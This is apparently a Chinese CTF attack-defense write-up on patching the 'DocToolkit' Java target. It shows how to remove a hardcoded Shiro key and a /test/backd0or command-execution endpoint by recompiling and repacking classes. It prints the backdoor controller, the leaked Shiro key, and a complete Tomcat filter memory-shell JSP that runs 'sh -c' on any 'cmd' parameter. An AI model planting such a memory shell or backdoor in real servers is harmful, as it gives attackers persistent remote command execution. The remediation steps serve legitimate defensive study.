以长城杯的DocToolkit修复作为例子,研究一下jvav靶机怎么修的
jadx反编译jar包:
一眼shiro,key都写里面了,是QZIysgMYhG7/CzIJlVpR1g==
cc链+cb链都可以用
testcontroller里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.example.doctoolkit.controller.test;
import java.io.IOException; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController;
@RequestMapping({"/test"}) @RestController
public class TestController { @RequestMapping({"/backd0or"}) public String backdoor(@RequestParam("cmd") String command) throws IOException { if (command == null) { return null; } boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("windows")) { isLinux = false; } byte[] bytes = new byte[1024]; return new String(bytes, 0, new ProcessBuilder(isLinux ? new String[]{"bash", "-c", command} : new String[]{"cmd.exe", "/c", command}).start().getInputStream().read(bytes)); } }
|
一眼命令执行,可以利用其打一个内存马进去
filter.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "aaa"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("sh","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
|
修复
jadx反编译导出class文件(存入resources文件夹中),java文件(存入source文件夹中)
找到有问题的文件,此处是ShiroConfig.java
和TestController.java
TestController
将这个controller放到和BOOT-INF、META-INF同级的目录下
修改好的源码,修改内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.example.doctoolkit.controller.test;
import java.io.IOException; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController;
@RequestMapping({"/test"}) @RestController
public class TestController { @RequestMapping({"/backd0or"}) public String backdoor(@RequestParam("cmd") String command) throws IOException { if (command == null) { return null; } boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("windows")) { isLinux = false; } byte[] bytes = new byte[1024]; return new String("Error: Don't hack me!"); } }
|
编译成class文件:
1
| D:\jdk8u65\bin\javac.exe -extdirs BOOT-INF\lib\ -classpath BOOT-INF\classes\com\example\doctoolkit\controller\test TestController.java
|
可以简单理解成-extdirs
就是需要的依赖,放在了BOOT-INF\lib\
内,-classpath就是我们写idea的时候的package com.xxxx
然后替换掉原有的class文件:
打包,需要将原jar包放置同一目录下:
1
| D:\jdk8u65\bin\jar.exe uf .\jar包名字 BOOT-INF\classes\com\example\doctoolkit\controller\test\TestController.class
|
重新启动这个jar包,重新查看效果:
可以看到我们已经成功防下来了
shiro反序列化
同样道理,shiro反序列化只需要修改它的key即可
利用shiro_attack工具生成一个新的随机key
同样的方式,修改com.example.doctoolkit.shiro.shiroConfig.java
,将cookie里面的key修改:
假设选择的key是U7dTFjt/fAozRmr1UaXMuA==
1 2 3 4 5
| RememberMeManager cookieRememberMeManager() { CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager(); cookieRememberMeManager.setCipherKey(Base64.getDecoder().decode("U7dTFjt/fAozRmr1UaXMuA==")); return cookieRememberMeManager; }
|
编译class文件
1
| D:\jdk8u65\bin\javac.exe -extdirs BOOT-INF\lib\ -classpath BOOT-INF\classes\com\example\doctoolkit\shiro ShiroConfig.java
|
这个时候报错了,查看报错原因:
这代表着我们需要多个java文件再编译,通过:
1 2
| D:\jdk8u65\bin\javac.exe -extdirs BOOT-INF\lib\ -classpath BOOT-INF\classes\com\example\ doctoolkit\shiro ShiroConfig.java UserRealm.java AdminController.java
|
这个时候AdminController会报错,但是我们只需要ShiroConfig.class
,所以不必管他
覆盖class文件,打包:
1 2
| D:\jdk8u65\bin\jar.exe uf DocToolkit-0.0.1-SNAPSHOT.jar BOOT-INF\classes\com\example\doc toolkit\shiro\ShiroConfig.class
|
再次测试,发现原有的key无效了,新的key有效: